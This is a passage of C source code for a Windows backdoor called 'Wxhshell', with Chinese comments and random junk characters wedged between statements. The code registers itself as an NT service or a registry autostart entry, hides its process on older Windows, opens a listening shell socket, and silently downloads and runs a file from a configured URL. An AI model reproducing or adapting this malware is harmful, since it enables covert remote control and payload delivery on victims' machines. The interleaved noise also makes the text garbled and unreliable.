g)i\R; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g[' ^L+hd if(hProcess==NULL) return 0; 8Z8gRcv{p 2j[=\K] HMODULE hMod; C!<Ou6}!b char procName[255]; XPXIg unsigned long cbNeeded; )4 e.k$X^ 'urafE4M if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l` lk-nb 4#MtF'J CloseHandle(hProcess); )0]'QLH M6"PX *K if(strstr(procName,"services")) return 1; // 以服务启动 SaO}e -V77C^()8d return 0; // 注册表启动 iy.p n } G"qvz{* zZPO&akB" // 主模块 :1QI8%L'$i int StartWxhshell(LPSTR lpCmdLine) =7=]{Cx[ { Uiw2oi&_ SOCKET wsl; 3wF;GG BOOL val=TRUE; nfbR
P t int port=0; l
^0@86 struct sockaddr_in door; #jvtUS \ hR?{3d#x2 if(wscfg.ws_autoins) Install(); Mq156TL hn
GZ= port=atoi(lpCmdLine); e'NJnPO 0*3R=7_},o if(port<=0) port=wscfg.ws_port; /l~p=PK Cv.C;H WSADATA data; lfow1WRF if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *w`sM%]Rq Z"xvh81P if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 2*& ^v setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q
'yva door.sin_family = AF_INET; A:%`wX} door.sin_addr.s_addr = inet_addr("127.0.0.1"); -l*|M(N\ door.sin_port = htons(port); &jJL"gq" \;Biq` if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y'q$| closesocket(wsl); AO4U}? return 1; 1v27;Q<+Q } k(nW#*N_ q6luUx,@m if(listen(wsl,2) == INVALID_SOCKET) { _1\v closesocket(wsl); _
]ipajT return 1; +SU8 +w } 7&)bJ@1U Wxhshell(wsl); eu-*?]&Di WSACleanup(); [q[Y~1o/&H P/eeC" return 0; BL}\D;+t IFL*kB } &DX! f EI%89i`3^ // 以NT服务方式启动 )*J^K?!S VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p8O2Z?\ { +mj y<~\ DWORD status = 0; $qnZl'O> DWORD specificError = 0xfffffff; QA`sx 7>%8eEc serviceStatus.dwServiceType = SERVICE_WIN32; Z@S3ZGe serviceStatus.dwCurrentState = SERVICE_START_PENDING; |0b`fOS serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kgP0x-Ap serviceStatus.dwWin32ExitCode = 0; r),kDia serviceStatus.dwServiceSpecificExitCode = 0; vpr.Hn serviceStatus.dwCheckPoint = 0; qR8Lh( "i serviceStatus.dwWaitHint = 0; FcU SE R__OP`! hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hL{KRRf> if (hServiceStatusHandle==0) return; tS=(}2Q ;*Et[}3 status = GetLastError(); ea
'D td if (status!=NO_ERROR) ?+@?Up0wGO { !l8PDjAE serviceStatus.dwCurrentState = SERVICE_STOPPED; L#sMSVC+ serviceStatus.dwCheckPoint = 0; :DNY7TvZ serviceStatus.dwWaitHint = 0; 0S!K{xyR serviceStatus.dwWin32ExitCode = status; ,#9PxwrO serviceStatus.dwServiceSpecificExitCode = specificError; @qAS*3j SetServiceStatus(hServiceStatusHandle, &serviceStatus); *^ZV8c} return; m-#2n?
z- } VU3upy< `Ggbi4), serviceStatus.dwCurrentState = SERVICE_RUNNING; JK5gQ3C[ serviceStatus.dwCheckPoint = 0;
ZBp/sm serviceStatus.dwWaitHint = 0; bWU'cw if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VpDbHAg } h*](a_0 iqWQ!r^ // 处理NT服务事件,比如:启动、停止 ggR.4&< VOID WINAPI NTServiceHandler(DWORD fdwControl) gjD Ho$ { "+G8d'%YV switch(fdwControl) xi}skA { !Wnb|=j case SERVICE_CONTROL_STOP: &Ok):` serviceStatus.dwWin32ExitCode = 0; oap4rHk} serviceStatus.dwCurrentState = SERVICE_STOPPED; `d}2O%P serviceStatus.dwCheckPoint = 0; S.NPZ39}ZE serviceStatus.dwWaitHint = 0; 2c*GuF9(0 { x s|FE3:a SetServiceStatus(hServiceStatusHandle, &serviceStatus); `X&gE,Ii } /a4{?? #e return; 4|DWOQ': case SERVICE_CONTROL_PAUSE: (O3nL. serviceStatus.dwCurrentState = SERVICE_PAUSED; -uf|w? break; [7Oe3= case SERVICE_CONTROL_CONTINUE: UP,c | serviceStatus.dwCurrentState = SERVICE_RUNNING; %Q|Atgp break; zK@@p+n_#. case SERVICE_CONTROL_INTERROGATE: 37o;; break; "^%cJAnLX }; jNk%OrP] SetServiceStatus(hServiceStatusHandle, &serviceStatus); L4nYXW0y } wbl& ZD{LXJ{Vm // 标准应用程序主函数 y}|s&4Sq int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S<Xf>-8w { 4^:=xL "4{r6[dn // 获取操作系统版本 g}c~ :p OsIsNt=GetOsVer(); aPL+=5 8r GetModuleFileName(NULL,ExeFile,MAX_PATH); 4.t-i5 ]c'A%:f< // 从命令行安装 <Q3c[ Y if(strpbrk(lpCmdLine,"iI")) Install(); ;:NJCu G S)@j6(HC4 // 下载执行文件 `;egv*!P if(wscfg.ws_downexe) { 61U09s%\0 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xJ.M;SF4 WinExec(wscfg.ws_filenam,SW_HIDE); Z7Hbj!d/Sz } UkFC~17P $IpccZpA if(!OsIsNt) { GZIa4A // 如果时win9x,隐藏进程并且设置为注册表启动 j0q&&9/Jj HideProc(); o }m3y StartWxhshell(lpCmdLine); 3!_XEN[ } c-sfg>0 ^ else c7H^$_^ = if(StartFromService()) 3ckclO\|> // 以服务方式启动 "3J}b?u_[ StartServiceCtrlDispatcher(DispatchTable); 4 #Jg9o else 5|)W.*Q // 普通方式启动 _lq`a\7e StartWxhshell(lpCmdLine); xyXa . $%f&a3# return 0; 8 LCb+^ }
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